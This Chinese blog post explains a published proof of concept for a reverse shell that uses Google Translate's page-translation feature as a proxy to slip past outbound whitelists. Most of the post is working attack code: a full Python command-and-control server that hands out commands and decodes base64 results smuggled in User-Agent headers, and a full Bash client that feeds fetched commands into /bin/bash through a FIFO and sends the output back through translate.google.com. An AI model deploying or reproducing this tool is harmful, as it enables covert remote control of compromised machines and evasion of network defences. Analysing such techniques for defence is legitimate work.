利用Google Translator作为代理向受感染计算机发送任意命令并执行(Google Translator Reverse Shell) Poc详解

728 阅读6分钟

简介

Google Translator Reverse Shell 是国外安全研究人员 Matheus Bernardes 在近期发现的,Poc地址: github.com/mthbernarde…

Reverse Shell

在具体介绍漏洞之前,我们先介绍一下常规的 Reverse Shell 设受感染计算机为 T,攻击者为 A ,在常规情况下,通过植入恶意脚本,可以让 T 不断向 A 发送请求,从 A 获取命令执行,并且在下一次请求时附带上次命令执行的结果,过程如下图所示。

这是一个典型的 Reverse Shell,受害者不断请求攻击者获取命令,并且在请求时附带上次命令的执行结果。但这种 Reverse Shell 有一个限制,那就是当 Infect Target 采用了白名单机制时,就无法连接到 Attacking Machine 了。

Matheus Bernardes 提出的 Google Translator Reverse Shell 漏洞则是巧妙的利用了 Google Translator 服务,让 Infect Machine 通过使用 Google Translator 作为代理访问 Attacking Machine。

Google Translator Reverse Shell

Google Translator 是Google提供的在线翻译服务,众所周知的是它能将A语言翻译为B语言,但它还有个较为小众的功能是翻译特定网站的内容,使用方式为https://translate.google.com/translate?anno=2&u=<site url>,最后的 u 参数即为要翻译的网站所对应的 url,例如我们传入baidu的url,可以看到 Google Translator 将 Baidu 的整站内容进行了翻译。

更为重要的是,对要翻译的网站发起请求并非在浏览器端完成,而是在Google的Translate服务中完成,利用这一特性,我们可以将Google Translator作为代理,去访问任意网站。

设想一种情况,Infect Machine 的白名单中很可能包含了 Google 全域,在这种情况下我们可以让 Infect Machine 先连接到 Google Translator,然后以此为代理去访问 Attacking Machine 的服务,过程如下图所示。

由上图可见,Infect Target 通过 Google Translator 翻译 Attacking Machine 提供的网页从而获取 command,并且在下一次执行翻译时,将上次命令的执行结果作为 query 参数传递。

实现

下面分析一下 Poc 中的具体代码逻辑,漏洞包含需要植入 Infect Target 的 client.sh 脚本 以及 Attacking Maching 的 Server 端脚本 server.py,我们先分析较为简单地 server.py。

Server 端实现

根据上面的分析,Server 端的主要任务是不断处理从 Google Translator 发来的请求,提取其中的命令结果,并将下一条要执行的命令作为响应返回,Matheus Bernardes 给出的方案是一个交互式的简易服务端,在请求到达时会开启一个输入缓冲区并挂起请求,当 Attacking Machine 端的攻击者输入要返回的内容后,请求继续执行,以响应的形式返回输入的内容,完整代码如下。

#!/usr/bin/python

from uuid import uuid4
from urlparse import urlparse, parse_qs
from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer

serverPort = 80
secretkey = str(uuid4())

class webServer(BaseHTTPRequestHandler):

    def do_GET(self,):
        # 由于GET请求限制了参数长度,这里巧妙地利用了UA来传递命令执行的结果
        # Google Translator会将Infect Target的请求UA转发到Attacking Machine
        useragent = self.headers.get('User-Agent').split('|')
        # 解析query data
        querydata = parse_qs(urlparse(self.path).query)
        # 这里采用了uuid认证机制,保证到达Attacking Machine的请求源头来自指定的Infect Target
        if 'key' in querydata:
            if querydata['key'][0] == secretkey:
                # 只有uuid匹配才能继续执行
                self.send_response(200)
                self.send_header("Content-type","text/html")
                self.end_headers()
                
                # 如果UA中包含了命令的返回值,说明这次请求仅用于返回上次命令的执行结果
                if len(useragent) == 2:
                    # 从UA中提取命令的结果,并将其打印出来,Infect Target在传输时使用了base64编码,这里进行解码
                    response = useragent[1].split(',')[0]
                    print(response.decode("base64"))
                    # UA包含命令返回值时,返回空响应,即不执行命令
                    self.wfile.write("")
                    return
                    
                # 如果UA中没有命令返回值,则说明这次请求用于接收命令,要求用户在shell输入内容,并挂起请求
                cmd = raw_input("$ ")
                # 用户输入命令后,将其作为响应返回
                self.wfile.write("{}".format(cmd))
                return
        # uuid匹配失败,返回404错误
        self.send_response(404)
        self.send_header("Content-type","text/html")
        self.end_headers()
        self.wfile.write("Not Found")
        return

    def log_message(self, format, *args):
        return

try:
    server = HTTPServer(("", serverPort), webServer)
    print("Server running on port: {}".format(serverPort))
    print("Secret Key: {}".format(secretkey))
    server.serve_forever()
except KeyboardInterrupt:
    server.socket.close()

这里有三个要点:

  1. 服务端每次启动时会生成一个 uuid 来作为与 Infect Target 通信的凭证;
  2. 上面的讲解中提到 Infect Target 可以通过 url query 来将命令的结果传递到 Attacking Machine,但 url query 有长度限制,导致了一些局限性,Matheus Bernardes 发现利用 UA 传递数据能够破除长度限制,因此在上面的代码中,都是使用 UA 传递的结果;
  3. 请求分为两种,第一种是 Infect Target 向 Attacking Machine 获取命令,第二种是 Infect Target 将命令的执行结果传递给 Attacking Machine,区分他们的方式是 UA 中是否包含了参数。
    • Infect Target 在接收命令时,所传递的 UA 将只包含设备信息,形如User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36,在这种情况下,服务端应当返回命令内容。
    • Infect Target 在返回执行结果时,所传递的 UA 会包含两部分,一部分是上文提到的普通 UA,这里称为 Raw UA,另一部分则是命令执行结果的 base64 形式,两者用|连接,形如User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36 |base64(cmd_result)

Client端实现

根据上文的分析,Client端主要有两个任务,其一是接收命令,其二是返回结果,两个任务都通过向 Google Translator 发送请求来完成,在介绍代码前,先介绍一下linux中的 FIFO 管道。

mkfifo简介

在Linux中有一个mkfifo命令,能够生成一个 FIFO 管道文件,当 FIFO 中没有内容时,对 FIFO 的读写都会造成阻塞,下面举一个简单例子。

# 创建一个FIFO
>> mkfifo log.pipe

# 从FIFO读内容,由于FIFO为空,读被阻塞,等待内容被写入
>> cat log.pipe

# 新开启一个Shell Session,向FIFO写入内容
>> echo 'hello' > log.pipe

# 会发现阻塞读的Shell Session返回了,内容为 hello
>> cat log.pipe
hello

反过来,如果一个Shell Session向一个未被阻塞读的FIFO中写内容,也会被阻塞,待有人读取时,读取者会立即收到内容,写阻塞的Session也会正常返回。

通过实验可以发现,FIFO 管道有以下特性:

  1. 当 FIFO 为空,读和写都会造成阻塞;
  2. 当有多个生产者写阻塞时,单个消费者可以一次性获得所有消费者写阻塞的消息;
  3. 当有多个消费者读阻塞时,生产者的消息仅能被一个消费者所消费,其他的消费者都会返回空数据。

利用这些特性,FIFO 管道可以作为进程间通信的工具,在本文介绍的 Poc 中,利用 FIFO 管道优雅的控制了命令的执行与结果的回写,关键代码如下。

input="/tmp/input"
output="/tmp/output"
mkfifo "$input"
tail -f "$input" | /bin/bash 2>&1 > $output &

第一句建立了一个 input FIFO,用于接收命令,第二句利用 tail -f 不间断读取 input FIFO,即可不断的消费被生成出来的命令,命令通过管道传递给 /bin/bash 执行,这里的2>&1是指将标准错误输出stderr:2重定向到标准输出stdout:1,即将命令的所有返回结果全部以标准输出形式表达,最后将命令的执行结果写入 output 文件。

利用 FIFO,能够将命令的执行和结果获取与 client.sh 的其他逻辑解耦,在 client.sh 获取到命令后,只需要通过写入 input FIFO 即可执行,随后便可以从 output 文件获取到命令执行的内容,非常的巧妙。

完整分析

下面我们分析 client.sh 的完整代码。

#!/bin/bash

# 这里要求在调用client.sh时提供两个参数,分别是server地址和通信凭证
if [[ $# < 2 ]];then
    echo -e "Error\nExecute: $0 www.c2server.com secretkey-provided-by-the-server\n"
    exit
fi

running=true
secretkey="$2"
user_agent="User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"
c2server="http://$1/?key=$secretkey"
result=""
input="/tmp/input"
output="/tmp/output"

# 上文中分析的命令执行和结果存储的关键代码
function namedpipe(){
  rm "$input" "$output"
  mkfifo "$input"
  tail -f "$input" | /bin/bash 2>&1 > $output &
}

function getfirsturl(){
  # 首次请求,要求Google Translator翻译server内容,这里Google Translator会给出一个iframe,并提供一个确认链接,询问是否要翻译server的内容
  # 下面的代码将curl请求的响应中iframe的src分离出来,用于后续请求iframe内容
  url="https://translate.google.com/translate?&anno=2&u=$c2server"
  first=$(curl --silent "$url" -H "$user_agent" | xmllint --html --xpath '//iframe/@src' - 2>/dev/null | cut -d "=" -f2- | tr -d '"' | sed 's/amp;//g' )
} 

function getsecondurl(){
  # 二次请求,请求Google Translator提供的iframe src,iframe中包含了待翻译网站的重定向链接,这次请求提取到了翻译server内容结果页的真实url
  second=$(curl --silent -L "$first" -H "$user_agent"  | xmllint --html --xpath '//a/@href' - 2>/dev/null | cut -d "=" -f2- | tr -d '"' | sed 's/amp;//g')
}

function getcommand(){
  # 从二次请求获得的url继续请求,即可获得server的内容
  # 如果命令执行结果result不为空,则在请求时在UA中附带result
  if [[ "$result" ]];then
    command=$(curl --silent $second -H "$result" )
  else
    command=$(curl --silent $second -H "$user_agent" )
    
    # 从翻译结果中提取命令内容
    command1=$(echo "$command" | xmllint --html --xpath '//span[@class="google-src-text"]/text()' - 2>/dev/null)
    command2=$(echo "$command" | xmllint --html --xpath '//body/text()' - 2>/dev/null)
    if [[ "$command1" ]];then
      command="$command1"
    else
      command="$command2"
    fi
  fi
}

# 一个完整的请求交互流程
function talktotranslate(){
  getfirsturl
  getsecondurl
  getcommand
}

function main(){
  # 一轮Reverse Shell交互循环
  result=""
  # 通过一个请求交互流程去获取命令
  talktotranslate
  if [[ "$command" ]];then
    # 执行命令,发现是exit则退出循环
    if [[ "$command" == "exit" ]];then
      running=false 
    fi
    # 清空结果文件
    echo -n > $output
    # 将命令写入 input FIFO,根据上文分析,命令会自动通过/bin/bash执行
    echo "$command" > "$input"
    # 等待命令执行结束
    sleep 2
    # 从output获取命令执行结果,并进行base64编码
    outputb64=$(cat $output | tr -d '\000'  | base64 | tr -d '\n'  2>/dev/null)
    if [[ "$outputb64" ]];then
      # 将结果写入UA,并发送一个返回命令执行结果的请求
      result="$user_agent|$outputb64"
      talktotranslate
    fi
  fi
}

# 首先开启 FIFO
namedpipe
# 不断循环交互过程,实现Reverse Shell
while "$running";do
  main
done

client.sh 的逻辑非常清晰,唯一比较复杂的内容是从 Google Translator 的结果中提取翻译结果,由于 Google 会先显示一个iframe询问用户是否真的要翻译 server 内容,并提供了一个重定向链接。因此为了获取到这个重定向链接,必须先从主站获取 iframe 的 src,即getfirsturl,随后请求iframe,并从中获取到重定向链接,即getsecondurl,这时候才能从重定向链接中真正请求到被翻译内容。

总结

Matheus Bernardes 给出了一种突破网站白名单限制实现Reverse Shell的思路,非常tricky地利用了Google Translator的特性,这里不禁引起思考,Google为何不将 Translator 的网站请求放到浏览器中完成,这样不仅能够降低 Google 的成本,而且能够避免被用作代理完成类似的操作。

参考资料